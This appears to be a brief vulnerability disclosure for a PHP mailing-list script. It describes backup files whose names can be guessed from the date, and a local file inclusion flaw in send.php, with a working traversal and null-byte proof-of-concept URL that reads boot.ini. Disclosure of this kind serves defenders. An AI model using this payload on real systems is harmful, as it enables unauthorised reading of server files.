[+] Insecure Backup

 - Vulnerable code in admin.php


---------------------------------------------------------------------


if (isset($_GET['backup'])){
	echo "<br>";
	$file = 'maillist.php';
	$newfile = 'backups/'.date("jnY").'.txt';
	copy($file, $newfile);
	echo 'Successfully backed up. (backups/'.$newfile.')<br>';
	echo '<a href="'.$_SERVER['PHP_SELF'].'">Hide</a><br>';
}


----------------------------------------------------------------------

 We can see how its crated a backup : $newfile = 'backups/'.date("jnY").'.txt';
 The date() function is used.

    n -	Numeric representation of a month, without leading zeros
    j -	Day of the month without leading zeros
    Y -	A full numeric representation of a year, 4 digits

 So we can guess the database backup if we know when was created.

   Example : 622009.txt

        6 - the day without leading 0
        2 - the month without leading 0
        2009 - the year

[+] Local File Inclusion


 - Vulnerable code in send.php :

---------------------------------------------------------------------

if(isset($load)){

include("outbox/".$load.".txt");
}


---------------------------------------------------------------------

 Example :

   http://127.0.0.1/path/send.php?load=[Local File]%00

 PoC :

    http://127.0.0.1/path/send.php?load=../../../../boot.ini%00
